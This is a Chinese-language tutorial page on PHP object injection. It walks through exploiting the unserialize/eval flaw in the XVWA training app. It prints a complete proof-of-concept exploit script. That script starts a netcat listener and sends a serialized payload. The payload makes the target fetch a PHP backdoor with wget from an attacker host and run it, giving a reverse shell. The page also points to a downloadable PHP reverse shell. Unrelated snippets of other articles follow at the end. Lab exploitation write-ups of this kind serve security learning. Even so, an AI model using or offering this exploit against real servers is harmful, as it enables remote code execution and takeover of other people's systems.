PHP序列化/对象注入漏洞分析_php技巧

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。

如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 。它会被动检测PHP和Java序列化的存在。

分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:

eval($this->inject);
接着,执行:

echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< ?php
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;

    function __construct(){

    }

    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 

    $var1=unserialize($_REQUEST['r']);

    if(is_array($var1)){
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
? >

漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<?php
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access.
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}

$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");

? >

Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

以上就是本文的全部内容,希望对大家学习php程序设计有所帮助。

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索漏洞
, php
, 序列化
对象注入
微擎反序列化注入漏洞、反序列化注入漏洞、php对象注入漏洞、java反序列化漏洞、java反序列化漏洞工具,以便于您获取更多的相关知识。

时间: 2024-08-28 14:23:53

PHP序列化/对象注入漏洞分析_php技巧的相关文章

Joomla 对象注入漏洞分析报告

本文讲的是 Joomla 对象注入漏洞分析报告,近日,Joomla再曝高危0day漏洞,可进行远程命令执行,阿里云云盾昨日已上线相应的拦截规则抵御该漏洞.同时,对云托管客户已经做了电话通知和自动漏洞修复.统计数据显示,截至16日凌晨,已有数百个恶意IP尝试使用该漏洞对阿里云网站发起攻击,云盾已成功拦截上万次攻击请求,其中攻击请求数排名第一的黑客在一小时内尝试入侵超过1000个 Joomla 网站. 根据此次漏洞情况,Joomla 官方已紧急放出了3.4.6版本.joomla用户除了尽快升级至最新

php防止sql注入简单分析_php技巧

本文实例分析了php防止sql注入简单方法.分享给大家供大家参考.具体如下: 这里只说一个简单的方法 防止Sql注入的方法有很多,这里要说的其实就是漏洞演练平台Dvwa里的一种方式 直接看high级别的就可以了 $id = $_GET['id']; $id = stripslashes($id); $id = mysql_real_escape_string($id); if (is_numeric($id)){ $getid = "SELECT first_name,last_name FRO

php对象在内存中的存在形式分析_php技巧

本文实例分析了php对象在内存中的存在形式.分享给大家供大家参考.具体分析如下: <?php class Person{ public $name; public $age; } $p1 = new Person(); $p1->name = "小明"; $p1->age=80; $p2=$p1; $p2->age=85; echo $p2->name; echo $p1->age; ?> (1)$p1对应内存地址,假设是0x123,($p1和

PHP中怎样防止SQL注入分析_php技巧

本文实例分析了PHP中怎样防止SQL注入.分享给大家供大家参考.具体分析如下: 一.问题描述: 如果用户输入的数据在未经处理的情况下插入到一条SQL查询语句,那么应用将很可能遭受到SQL注入攻击,正如下面的例子: 复制代码 代码如下: $unsafe_variable = $_POST['user_input'];   mysql_query("INSERT INTO `table` (`column`) VALUES ('" . $unsafe_variable . "')

解析PHP对象注入漏洞

?? 0.前言 逛乌云知识库的时候看到一篇有趣的译文:www.2cto.com 说的是一种注入方式,叫对象注入.对象也能注入? 是的,只要是存在污染数据,没有什么是不可能注入的,但是这个漏洞有点太古怪了,所以我觉得有趣.   1.原理 在程序编写的时候,往往需要序列化一些运行时数据,所谓序列化就是按照一定的格式将运行时数据写入本地文件.这样做可以对数据进行本地保存,用的时候直接读文件就可以把运行时产生的数据读出.在PHP中就是serialize和unserialize函数了. 能够注入的原理就是

php中sql注入漏洞示例 sql注入漏洞修复_php实例

在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下.  一.SQL注入的步骤 a)  寻找注入点(如:登录界面.留言板等) b)  用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c)  将sql语句发送给数据库管理系统(DBMS) d)  DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e)  DBMS

解析PHP多种序列化与反序列化的方法_php技巧

序列化是将变量转换为可保存或传输的字符串的过程:反序列化就是在适当的时候把这个字符串再转化成原来的变量使用.这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性.1. serialize和unserialize函数这两个是序列化和反序列化PHP中数据的常用函数. 复制代码 代码如下: <?php$a = array('a'=> 'Apple' ,'b' => 'banana', 'c' => 'Coconut');//序列化数组$s = serialize($a);ech

老Y文章管理系统V2.2系统注入漏洞分析与利用

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 今天有朋友让我帮忙给他们公司的网站检查下安全性,在答应了朋友之后.打开朋友公司网站看了一下,发现是用老Y文章管理系统V2.2,下面就开始对其进行进一步的分析. 分析对像:老Y文章管理系统 V2.2,因以下有些地址涉及隐私问题,所以部分地址去除或者隐藏. (一)前期分析 由于该套系统是ASP+ACCESS,可能对于我们来说就有很多的限制,不像M

Joomla 3.4.3版本 SQL注入漏洞分析

0x00 漏洞分析 漏洞触发的代码位于:/administrator/components/com_contenthistory/models/history.php,getListQuery()函数内: 通过SQL及报错信息,可以知道我们的注入payload被插入到了红色框部分内.跟进getState()函数,位于libraries/legacy/model/legacy.php文件内,代码如下: 从函数参数和官方注释,可以知道,getState()函数功能是获取一个model的属性及属性对应